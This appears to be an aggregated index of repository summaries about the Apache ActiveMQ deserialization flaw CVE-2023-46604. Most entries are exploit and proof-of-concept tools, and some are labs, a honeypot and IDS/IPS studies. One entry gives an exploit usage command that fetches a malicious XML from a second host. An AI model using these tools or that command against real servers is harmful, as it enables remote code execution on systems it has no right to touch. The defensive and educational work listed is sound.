activemq-rce-cve-2023-46604

README simple analysis for CVE-2023-46604 https://thinkycx.me/2024-04-19-activemq-cve-2023-46604-analysis.html...

CVE-Lab

CVE-2023-46604 实验 本实验指导如何利用 CVE-2023-46604 漏洞。 致谢 Apache ActiveMQ CVE-2023-46604 环境 本实验需要安装两台虚拟机：一台 Kali Linux 2023.4 版，一台 Ubuntu 22.04.3 LTS 版。您可以通过以下链接下载： Kali Linux 2023.4 Ubuntu 22.04.3 LTS VMware-workstation-17.5.0 for windows VMware-workstation-17.5.0 for linux 模型与系统要求 在 Kali Linux 虚拟机上： 安装...

honeypot.rs

honeypot.rs Honeypot que cubre CVE-2023-46604 Vulnerabilidad RCE de Apache ActiveMQ y está enfocado en obtener Indicadores de Compromiso. Este honeypot puede usarse en cualquier infraestructura de Inteligencia de Amenazas para obtener direcciones IP de atacantes, muestras de post-explotación y...

CVE-2023-46604-Apache-ActiveMQ-RCE-exp

项目参考 本项目是参考 https://github.com/X1r0z/ActiveMQ-RCE 项目的 exp 来重写的一个 python 版本的 exp 。 用法 root@kitploit: python attack.py -u 192.168.163.129 -x http://192.168.163.133:10001/poc.xml -p 61616 其中 -p 参数默认为 activeMQ 的默认端口。-x 参数注意需要加上协议的前缀。 介绍 这里附上 openwire 协议的图示就很明白了。 下面给出的是 Throwable 类型的数据包格式。...

SSP-Assignment-3-RCEYouLater

CVE-2023-46604: Apache ActiveMQ RCE 概念验证 作业： SSP 作业 3 团队： RCE You Later 成员： Banica Horia Alexandru, Comarlau Vlad-Constantin 使用此仓库进行 PoC 的视频链接： https://www.youtube.com/watch?v=vum4qTF4ygU 🚨 概述 此仓库包含针对 CVE-2023-46604 的完整功能概念验证 PoC。 该漏洞允许攻击者通过强制易受攻击的 Apache ActiveMQ 服务器（版本 5.15.10）反序列化恶意 XML...

CVE-2023-46604-ActiveMQ-RCE-pseudoshell

CVE-2023-46604 RCE 伪终端 该脚本利用 CVE-2023-46604（Apache ActiveMQ）生成一个伪终端。该漏洞源于 OpenWire 协议中的不安全反序列化，可实现远程代码执行。 描述 CVE-2023-46604 是 Apache ActiveMQ 的 OpenWire 协议中存在的一个反序列化漏洞。攻击者可利用该缺陷在运行 ActiveMQ 的服务器上执行任意代码。攻击者可以构造一个恶意 XML 文件，远程服务器将执行其中的命令。 此漏洞利用工具自动化并简化了 XML 文档的创建过程，提供基础服务器来传输文件，并通过 POST...

ActiveMQ-RCE-CVE-2023-46604-Write-up

此存储库没有 README。...

activemq-cve-2023-46604

Exploit de Active MQ CVE-2023-46604 Este repositorio es una guía con ejemplos sobre cómo explotar la CVE-2023-46604 El exploit aprovecha el uso de la reflexión para instanciar clases de Excepción a través de un comando malicioso que, en lugar de ser un comando válido, envía como clase de excepció...

intel471-threat-hunting-cve-2023-46604

Intel 471 Threat Hunting Workshop – CVE-2023-46604 Investigation Overview This repository documents my first hands-on experience with Intel 471’s Intelligence-Driven Threat Hunting Workshop focused on CVE-2023-46604. Through this practical workshop, I investigated how attackers leveraged a critic...

Project-Vuln-Detection-N-Mitigation_101

Project-Vuln-Detection-N-Mitigation101 RCE por deserialización en Apache ActiveMQ CVE-2023-46604 – Proyecto de la Fase 2 Arquitecturas de Seguridad y Administración de Sistemas Autor: Vaishnavu C V · Fecha: 17 Sep 2025 Estado: ⌀ Entregables de la Fase 2 completados Resumen Este repositorio...

CVE-2023-46604

此存储库没有 README。...

CVE-2023-46604-POC

CVE-2023-46604-POC 针对CVE-2023-46604的POC仓库...

ActiveMQ-RCE-Exploit

ActiveMQ-Exploit English | Español CVE-2023-46604 ActiveMQ RCE 5.18.3 Exploit Explotación sin necesidad de salida de red Admite ejecución con JDK 1.8 Determina automáticamente si la versión de destino está dentro del rango de vulnerabilidad Admite explotación sin salida de red configurando shiro...

activemq-cve-2023-46604-lab

Este repositorio no tiene un README...

Broker_ApacheMQ

BrokerApacheMQ CVE-2023-46604 - Vulnerabilidad en ApacheMQ Versión 5.15.5 Máquina: Broker...

CVE-2023-46604_ActiveMQ_RCE_Recurrence

Enter activemq/bin, select x64 or x32, and run activemq.bin with administrator privileges. Access admin at port 8161, admin/admin If it cannot be started, check whether the port is occupied and modify activemq.xml in conf. In my machine, the MQTT port was occupied, so I modified it. 2. Start an...

ExploitScript-CVE-2023-46604

ExploitScript-CVE-2023-46604 Descargo de responsabilidad Este repositorio contiene código de prueba de concepto para CVE-2023-466064 y está destinado estrictamente a fines educativos. Los autores y colaboradores no respaldan ninguna actividad ilegal. La información aquí presentada es para fines...

CVE-2023-46604-demo

このリポジトリには README がありません。...

ActiveMQ_CVE-2023-46604

ActiveMQCVE-2023-46604 Implementación en Python para construir rápidamente paquetes de tráfico de datos concurrentes; ambos gadgets están implementados: org.springframework.context.support.FileSystemXmlApplicationContext y org.springframework.context.support.ClassPathXmlApplicationContext...

activemq-ids-ips-lab

IDS/IPS Lab - Protecting Apache ActiveMQ from RCE Attacks This project evaluates how IDS and IPS mechanisms can detect and prevent exploitation of Apache ActiveMQ vulnerability CVE-2023-46604 in a controlled lab environment. Project Overview The lab was designed with separated attacker, gateway,...